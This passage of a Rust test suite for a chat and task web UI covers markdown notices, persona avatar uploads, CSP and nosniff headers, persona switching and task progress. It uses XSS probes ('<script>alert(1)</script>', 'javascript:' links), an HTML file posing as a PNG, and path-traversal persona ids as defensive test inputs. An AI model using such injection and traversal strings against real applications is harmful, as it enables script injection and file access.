15240            talk::drain(&mut conversation, &ui.talks).unwrap();
15241            let view =
15242                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15243            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15244            assert_eq!(conversation.turns[1].messages[0].body, body);
15245
15246            // Historical consultations lack a snapshot: show a safe placeholder
15247            // rather than parsing instructions or reconstructing mutable facts.
15248            conversation.turns[1].messages[0].display = None;
15249            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15250            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15251            assert!(legacy.contains("Question consultation"));
15252            assert!(!legacy.contains("magi answer"));
15253            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15254        }
15255    }
15256
15257    #[test]
15258    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15259        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15260        let (body, mut display) =
15261            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15262        display.facts = facts.into();
15263        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15264        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15265        let json = serde_json::to_string(&nodes).unwrap();
15266        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15267            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15268        }
15269        assert!(json.contains("<script>alert(1)</script>"));
15270        assert!(!json.contains("javascript:"));
15271        assert!(!json.contains("Tell the operator"));
15272        assert!(!json.contains("untrusted"));
15273        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15274        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15275        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15276        assert_eq!(
15277            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15278            md::to_nodes("# Status", &md::ImageBase::None),
15279        );
15280    }
15281
15282    #[tokio::test]
15283    async fn notification_display_recovers_exact_legacy_completion_references() {
15284        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15285        let mut conversation = ui.talks.get(&id).unwrap();
15286        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15287            id: "task-123",
15288            title: "Change",
15289            status: "done",
15290            reason: None,
15291            run: Some("run-123"),
15292            pr: None,
15293            summary: Some("Merge state unknown"),
15294            verification: None,
15295            completion: None,
15296        });
15297        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15298        conversation.turns[0].sender = None;
15299        conversation.turns[0].messages.clear();
15300        conversation.turns[0].breaks = None;
15301        conversation.pending = body.clone();
15302        conversation
15303            .completion_notices
15304            .push(crate::chat_notify::CompletionReference {
15305                task: "task-123".into(),
15306                run: Some("run-123".into()),
15307                notice: body.clone(),
15308            });
15309        ui.talks.put(&mut conversation).unwrap();
15310        let view = TalkView::with_config(
15311            ui.talks.get(&id).unwrap(),
15312            false,
15313            None,
15314            &ui.home,
15315            &ui.references,
15316        );
15317        assert_eq!(
15318            view.talk.turns[0].messages[0].display,
15319            Some(display.clone())
15320        );
15321        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15322        assert_eq!(
15323            view.talk.turns[0].messages[0].sender,
15324            Some(talk::Sender::Magi)
15325        );
15326        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15327        conversation.completion_notices[0]
15328            .notice
15329            .push_str("different");
15330        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15331        assert!(view.talk.turns[0].messages.is_empty());
15332        assert!(view.talk.pending_messages.is_empty());
15333    }
15334
15335    #[tokio::test]
15336    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15337        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15338        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15339            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15340        ))
15341        .await;
15342        let path = avatar_setting_path(home.path(), Some("rei"));
15343        let orphan = avatar_setting_path(home.path(), Some("removed"));
15344        save_icon_file(&orphan, icon).unwrap();
15345        for (saved, expected) in [
15346            (icon, "custom"),
15347            ("builtin", "builtin"),
15348            ("data:image/png;base64,!!!!", "inherit"),
15349            ("data:image/png;base64,PGh0bWw+", "inherit"),
15350            ("/tmp/avatar.png", "inherit"),
15351        ] {
15352            atomic_icon_write(&path, saved).unwrap();
15353            let catalog =
15354                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15355                    .await
15356                    .unwrap()
15357                    .0;
15358            let personas = catalog["personas"].as_array().unwrap();
15359            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15360            assert_eq!(rei["override_state"], expected);
15361            assert_eq!(rei["has_config_icon"], true);
15362            assert_eq!(rei["is_orphan"], false);
15363            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15364            assert_eq!(removed["override_state"], "custom");
15365            assert_eq!(removed["is_orphan"], true);
15366            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15367            assert_eq!(default["override_state"], "inherit");
15368            assert_eq!(default["has_config_icon"], false);
15369            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15370            assert_eq!(
15371                effective.as_deref(),
15372                Some(if expected == "builtin" { "" } else { icon })
15373            );
15374        }
15375    }
15376
15377    #[tokio::test]
15378    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15379        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15380        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15381            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15382        ))
15383        .await;
15384        let target = |id: Option<&str>| AvatarSettingsQuery {
15385            persona: id.map(str::to_owned),
15386            ..Default::default()
15387        };
15388        let original_config = config_for(&repo).await.unwrap();
15389        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15390        let original_prompt = persona::section_for(&original_persona, None);
15391        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15392            .await
15393            .unwrap()
15394            .0;
15395        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15396            let _ = avatar_settings_put(
15397                State(ui.clone()),
15398                Query(target(persona)),
15399                Json(MagiIconUpload { icon: icon.into() }),
15400            )
15401            .await
15402            .unwrap();
15403            let path = avatar_setting_path(home.path(), persona);
15404            assert!(path.starts_with(home.path().join("avatars")));
15405            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15406            for bad in [
15407                "/tmp/image.png".to_owned(),
15408                "data:image/png;base64,!!!!".to_owned(),
15409                "data:image/png;base64,PGh0bWw+".to_owned(),
15410                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15411                format!(
15412                    "data:image/png;base64,{}",
15413                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15414                ),
15415            ] {
15416                assert!(
15417                    avatar_settings_put(
15418                        State(ui.clone()),
15419                        Query(target(persona)),
15420                        Json(MagiIconUpload { icon: bad })
15421                    )
15422                    .await
15423                    .is_err()
15424                );
15425                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15426            }
15427        }
15428        assert!(read_magi_icon(home.path()).is_none());
15429        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15430        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15431            .await
15432            .unwrap()
15433            .0;
15434        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15435        assert_ne!(
15436            before
15437                .personas
15438                .iter()
15439                .find(|p| p.id == "magi")
15440                .unwrap()
15441                .avatar,
15442            after
15443                .personas
15444                .iter()
15445                .find(|p| p.id == "magi")
15446                .unwrap()
15447                .avatar
15448        );
15449        let restarted = Arc::new(Ui::new(
15450            Queue::at(home.path().join("queue")),
15451            Questions::at(home.path().join("questions")),
15452            Talks::at(home.path().join("talks")),
15453            home.path().join("runs"),
15454            home.path().to_owned(),
15455            repo,
15456        ));
15457        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15458            .await
15459            .unwrap()
15460            .0;
15461        assert!(
15462            catalog["personas"]
15463                .as_array()
15464                .unwrap()
15465                .iter()
15466                .any(|p| p["id"] == "../custom/日本語")
15467        );
15468        for expected in ["custom", "default", "rei"] {
15469            assert!(
15470                catalog["personas"]
15471                    .as_array()
15472                    .unwrap()
15473                    .iter()
15474                    .any(|p| p["id"] == expected)
15475            );
15476        }
15477        let response =
15478            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15479        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15480        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15481            .await
15482            .unwrap();
15483        assert_eq!(
15484            effective_persona_icon(home.path(), "rei", Some(icon)),
15485            Some(String::new())
15486        );
15487        let response = talk_avatar(
15488            State(restarted.clone()),
15489            Path(id.clone()),
15490            Query(AvatarQuery {
15491                persona: Some("rei".into()),
15492                ..Default::default()
15493            }),
15494        )
15495        .await
15496        .unwrap();
15497        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15498        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15499            .await
15500            .unwrap()
15501            .0;
15502        assert_ne!(
15503            after
15504                .personas
15505                .iter()
15506                .find(|p| p.id == "rei")
15507                .unwrap()
15508                .avatar,
15509            reset
15510                .personas
15511                .iter()
15512                .find(|p| p.id == "rei")
15513                .unwrap()
15514                .avatar
15515        );
15516        let mut inherit = target(Some("rei"));
15517        inherit.inherit = Some("1".into());
15518        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15519            .await
15520            .unwrap();
15521        assert_eq!(
15522            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15523            Some(icon)
15524        );
15525        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15526            .await
15527            .unwrap();
15528        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15529        assert_eq!(
15530            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15531            Some(icon)
15532        );
15533        // Display changes never rewrite the conversation or its prompt-bearing config.
15534        let cfg = config_for(&ui.repo).await.unwrap();
15535        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15536        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15537        assert!(!original_prompt.contains("data:image"));
15538        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15539        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15540        assert!(!stored.contains("data:image"));
15541        let mut orphan = ui.talks.get(&id).unwrap();
15542        orphan.persona = "../custom/日本語".into();
15543        let view = TalkView::with_config(
15544            orphan,
15545            false,
15546            Some(&cfg),
15547            home.path(),
15548            &id_links::IndexCache::default(),
15549        );
15550        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15551    }
15552
15553    #[tokio::test]
15554    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15555        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15556        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15557        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15558        let _ = magi_icon_put(
15559            State(ui.clone()),
15560            Json(MagiIconUpload { icon: icon.into() }),
15561        )
15562        .await
15563        .unwrap();
15564        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15565        assert_ne!(original, changed);
15566        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15567        let response = magi_avatar(
15568            State(ui.clone()),
15569            Query(AvatarQuery {
15570                persona: None,
15571                builtin: None,
15572            }),
15573        )
15574        .await;
15575        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15576        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15577        assert_eq!(
15578            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15579            "nosniff"
15580        );
15581        for bad in [
15582            "data:image/png;base64,PGh0bWw+".to_owned(),
15583            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15584            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15585        ] {
15586            assert!(save_magi_icon(home.path(), &bad).is_err());
15587            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15588        }
15589        // Re-opened server state reads the same independent home file.
15590        let restarted = Arc::new(Ui::new(
15591            Queue::at(home.path().join("queue")),
15592            Questions::at(home.path().join("questions")),
15593            Talks::at(home.path().join("talks")),
15594            home.path().join("runs"),
15595            home.path().to_path_buf(),
15596            repo,
15597        ));
15598        assert_eq!(
15599            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15600            changed
15601        );
15602        let view = TalkView::with_config(
15603            restarted.talks.get(&id).unwrap(),
15604            false,
15605            None,
15606            &restarted.home,
15607            &restarted.references,
15608        );
15609        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15610        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15611        let response = magi_avatar(
15612            State(ui.clone()),
15613            Query(AvatarQuery {
15614                persona: None,
15615                builtin: None,
15616            }),
15617        )
15618        .await;
15619        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15620            .await
15621            .unwrap();
15622        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15623        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15624        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15625        let _ = magi_icon_delete(State(ui)).await.unwrap();
15626    }
15627
15628    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15629    async fn avatar(
15630        ui: &Arc<Ui>,
15631        id: &str,
15632        persona: Option<&str>,
15633        builtin: bool,
15634    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15635        let res = talk_avatar(
15636            State(Arc::clone(ui)),
15637            Path(id.to_owned()),
15638            Query(AvatarQuery {
15639                persona: persona.map(str::to_owned),
15640                builtin: builtin.then(|| "1".to_owned()),
15641            }),
15642        )
15643        .await
15644        .expect("an avatar is never an error response");
15645        let h = res.headers();
15646        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15647        let nosniff = h
15648            .get(header::X_CONTENT_TYPE_OPTIONS)
15649            .is_some_and(|v| v == "nosniff");
15650        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15651        let status = res.status();
15652        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15653            .await
15654            .expect("body")
15655            .to_vec();
15656        (status, ct, nosniff, csp, body)
15657    }
15658
15659    fn tiny_png() -> Vec<u8> {
15660        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15661        b.extend_from_slice(&[0u8; 32]);
15662        b
15663    }
15664
15665    #[tokio::test]
15666    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15667        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15668        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15669        assert_eq!(res.status(), StatusCode::OK);
15670        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15671        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15672        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15673        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15674        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15675            .await
15676            .unwrap();
15677        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15678        assert_ne!(
15679            persona_icon::operator_svg(),
15680            persona_icon::builtin_svg("default")
15681        );
15682    }
15683
15684    #[tokio::test]
15685    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15686        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15687        for p in [
15688            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15689        ] {
15690            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15691            assert_eq!(status, StatusCode::OK, "{p}");
15692            assert_eq!(ct, "image/svg+xml", "{p}");
15693            assert!(nosniff && csp, "{p}");
15694            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15695        }
15696        // No `persona` means the conversation's own; unknown ones fall back.
15697        let own = avatar(&ui, &id, None, false).await;
15698        let default = avatar(&ui, &id, Some("default"), false).await;
15699        assert_eq!(own.4, default.4);
15700        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15701        assert_eq!(unknown.1, "image/svg+xml");
15702    }
15703
15704    #[tokio::test]
15705    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15706        let dir = TempDir::new().expect("icons");
15707        let good = dir.path().join("good.png");
15708        std::fs::write(&good, tiny_png()).unwrap();
15709        let spoof = dir.path().join("spoof.png");
15710        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15711        let big = dir.path().join("big.png");
15712        let mut bytes = tiny_png();
15713        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15714        std::fs::write(&big, bytes).unwrap();
15715        let missing = dir.path().join("missing.png");
15716        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15717        let extra = format!(
15718            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15719             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15720             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15721             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15722             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15723             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15724            uri(&good),
15725            uri(&spoof),
15726            uri(&big),
15727            uri(&missing),
15728        );
15729        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15730
15731        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15732        assert_eq!(
15733            (status, ct.as_str(), nosniff),
15734            (StatusCode::OK, "image/png", true)
15735        );
15736        assert_eq!(body, tiny_png());
15737        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15738        assert_eq!(ct, "image/png", "data URI");
15739
15740        for p in ["misato", "asuka", "shinji", "magi"] {
15741            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15742            assert_eq!(
15743                (status, ct.as_str(), csp),
15744                (StatusCode::OK, "image/svg+xml", true),
15745                "{p}"
15746            );
15747            assert!(body.starts_with(b"<svg"), "{p}");
15748        }
15749        // The page's own retry skips the icon.
15750        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15751        assert_eq!(ct, "image/svg+xml");
15752    }
15753
15754    #[tokio::test]
15755    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15756        let oversized = format!(
15757            "data:image/png;base64,{}",
15758            "A".repeat(persona_icon::ICON_MAX_BYTES)
15759        );
15760        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15761            let extra = format!(
15762                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15763            );
15764            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15765            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15766                .await
15767                .expect("detail with invalid icon");
15768            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15769            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15770            assert_eq!(status, StatusCode::OK);
15771            assert_eq!(ct, "image/svg+xml");
15772            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15773            let Json(view) = talk_persona(
15774                State(Arc::clone(&ui)),
15775                Path(id.clone()),
15776                Json(TalkPersona {
15777                    persona: "custom".into(),
15778                }),
15779            )
15780            .await
15781            .expect("persona switch with invalid icon");
15782            assert_eq!(view.talk.persona, "custom");
15783            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15784        }
15785    }
15786
15787    #[tokio::test]
15788    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15789        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15790        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15791        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15792        assert_eq!(
15793            (status, ct.as_str(), nosniff, csp),
15794            (StatusCode::OK, "image/svg+xml", true, true)
15795        );
15796    }
15797
15798    #[tokio::test]
15799    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15800        let (_t, _h, ui, id, _repo) =
15801            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15802        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15803            .await
15804            .expect("detail");
15805        let json = serde_json::to_string(&detail).unwrap();
15806        assert!(
15807            !json.contains("secret"),
15808            "the icon setting must not leak: {json}"
15809        );
15810        assert!(
15811            detail
15812                .view
15813                .persona_avatar
15814                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15815        );
15816        assert_eq!(
15817            detail.view.operator_avatar,
15818            format!(
15819                "/avatars/operator.svg?v={}",
15820                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15821            )
15822        );
15823        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15824        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15825        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15826        assert!(rei.avatar.contains("persona=rei&v="));
15827        assert_ne!(
15828            rei.avatar.split("&v=").nth(1),
15829            plain.avatar.split("&v=").nth(1)
15830        );
15831    }
15832
15833    #[tokio::test]
15834    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15835        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15836        let cfg = config_for(&repo).await.unwrap();
15837        for arrived in [false, true] {
15838            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15839            let observed = ui.queued_generation(&id);
15840            let talk = ui.talks.get(&id).unwrap();
15841            if arrived {
15842                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15843            }
15844            let mut settling = std::pin::pin!(settle_settings_turn(
15845                talk,
15846                ui.talks.clone(),
15847                cfg.clone(),
15848                id.clone(),
15849                turn,
15850                observed
15851            ));
15852            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15853            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15854            assert_eq!(first.is_pending(), arrived);
15855            if arrived {
15856                assert!(!settling.await);
15857            }
15858            assert!(!ui.is_thinking(&id));
15859        }
15860    }
15861
15862    #[tokio::test]
15863    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15864        let tmp = TempDir::new().expect("tempdir");
15865        let repo = tmp.path().join("repo");
15866        std::fs::create_dir_all(&repo).expect("repo dir");
15867        std::fs::write(
15868            repo.join("magi.toml"),
15869            format!(
15870                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15871            ),
15872        )
15873        .expect("write magi.toml");
15874        let home = TempDir::new().expect("temp home");
15875        let talks = Talks::at(home.path().join("talks"));
15876        let ui = Arc::new(
15877            Ui::new(
15878                Queue::at(home.path().join("queue")),
15879                Questions::at(home.path().join("questions")),
15880                talks.clone(),
15881                home.path().join("runs"),
15882                home.path().to_path_buf(),
15883                repo.clone(),
15884            )
15885            .with_worktrees_root(home.path().join("wt")),
15886        );
15887        let cfg = config_for(&repo).await.expect("discover config");
15888        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15889        let id = talk.id.clone();
15890        let call = |persona: &str| {
15891            talk_persona(
15892                State(Arc::clone(&ui)),
15893                Path(id.clone()),
15894                Json(TalkPersona {
15895                    persona: persona.to_owned(),
15896                }),
15897            )
15898        };
15899
15900        let unknown = call("nobody").await.expect_err("unknown persona");
15901        assert_eq!(
15902            unknown.status,
15903            StatusCode::BAD_REQUEST,
15904            "{}",
15905            unknown.message
15906        );
15907
15908        {
15909            // Nothing refused so far took a claim, so the guard is free to take
15910            // and holding it is what makes the talk busy.
15911            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15912            let busy = call("rei").await.expect_err("busy talk");
15913            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15914            assert!(
15915                busy.message.contains("a talk turn is running"),
15916                "{}",
15917                busy.message
15918            );
15919            drop(guard);
15920        }
15921        assert_eq!(talks.get(&id).expect("reload").persona, "");
15922
15923        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15924        assert_eq!(view.talk.persona, "gendo");
15925        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15926        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15927        // No intervening I/O or sleep may be needed before another change.
15928        for chosen in ["default", "gendo", "rei", "gendo"] {
15929            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15930            assert!(!view.thinking);
15931            assert!(!ui.is_thinking(&id));
15932        }
15933
15934        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15935            .await
15936            .expect("detail");
15937        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15938        assert_eq!(ids.first(), Some(&"default"));
15939        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15940
15941        let Json(view) = call("default").await.expect("back to default");
15942        assert_eq!(view.talk.persona, "");
15943
15944        let mut closed = talks.get(&id).expect("reload");
15945        talk::close(&mut closed, &talks).expect("close");
15946        let refused = call("rei").await.expect_err("closed talk");
15947        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15948        assert!(
15949            refused.message.contains("takes no more turns"),
15950            "{}",
15951            refused.message
15952        );
15953    }
15954
15955    #[tokio::test]
15956    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15957        let f = Fixture::start().await;
15958        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15959        let queue = f.queue();
15960        let mut mine = Task::new(
15961            "rename the loader".to_owned(),
15962            "rename the loader".to_owned(),
15963            PathBuf::from("/repo/magi"),
15964            Source::Agent {
15965                run: talk_id.clone(),
15966                node: "chat".to_owned(),
15967            },
15968        );
15969        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15970        assert_eq!(empty["task_progress"]["state"], "none");
15971        assert_eq!(empty["task_progress"]["total"], 0);
15972        queue.put(&mut mine).expect("file the task");
15973        let mut theirs = Task::new(
15974            "unrelated".to_owned(),
15975            "unrelated".to_owned(),
15976            PathBuf::from("/repo/magi"),
15977            Source::Human,
15978        );
15979        // A later task linked through origin_chat alone is outside this list.
15980        theirs.origin_chat = Some(talk_id.clone());
15981        queue.put(&mut theirs).expect("file the task");
15982
15983        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15984        assert_eq!(res.status, 200, "{}", res.body);
15985        let body = res.json();
15986        assert_eq!(
15987            body["status"], "open",
15988            "filing a task does not close a talk"
15989        );
15990        let tasks = body["tasks"].as_array().expect("tasks array");
15991        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15992        assert_eq!(tasks[0]["id"], mine.id);
15993        for status in [
15994            TaskStatus::Queued,
15995            TaskStatus::Running,
15996            TaskStatus::Held,
15997            TaskStatus::Failed,
15998            TaskStatus::Blocked,
15999            TaskStatus::Parked,
16000            TaskStatus::Done,
16001            TaskStatus::Queued,
16002        ] {
16003            mine.status = status;
16004            queue.put(&mut mine).expect("update status");
16005            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16006            let progress = &detail["task_progress"];
16007            assert_eq!(progress["total"], 1);
16008            assert_eq!(progress["counts"][status.as_str()], 1);
16009            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16010            assert_eq!(detail["status"], "open", "completion never closes the chat");
16011            if status == TaskStatus::Done {
16012                assert_eq!(progress["state"], "complete");
16013                assert_eq!(progress["done"], 1);
16014                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16015            } else {
16016                assert_eq!(progress["state"], "incomplete");
16017                assert_eq!(progress["done"], 0);
16018                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16019            }
16020        }
16021    }
16022
16023    #[test]
16024    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16025        let home = tempfile::tempdir().unwrap();
16026        let runs = home.path().join("runs");
16027        let queue = Queue::at(home.path().join("queue"));
16028        let talks = Talks::at(home.path().join("talks"));
16029        let config = stub_config();
16030        let repo = PathBuf::from("/repo/magi");
16031        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16032        let reserve_run = |repo| {
16033            let mut run = RunState::new(
16034                repo,
16035                "main".into(),
16036                "0000000".into(),
16037                "Follow the review".into(),
16038                config.clone(),
16039            );
16040            run.reserve_under(home.path()).unwrap();
16041            run
16042        };
16043        let older = reserve_run(repo.clone());
16044        let newer = reserve_run(repo.clone());
16045        let foreign = reserve_run(PathBuf::from("/repo/other"));
16046        let mismatched = reserve_run(repo.clone());
16047        let corrupt = reserve_run(repo.clone());
16048        let run_file = |id: &str| runs.join(id).join("run.json");
16049        std::fs::write(
16050            run_file(&mismatched.id),
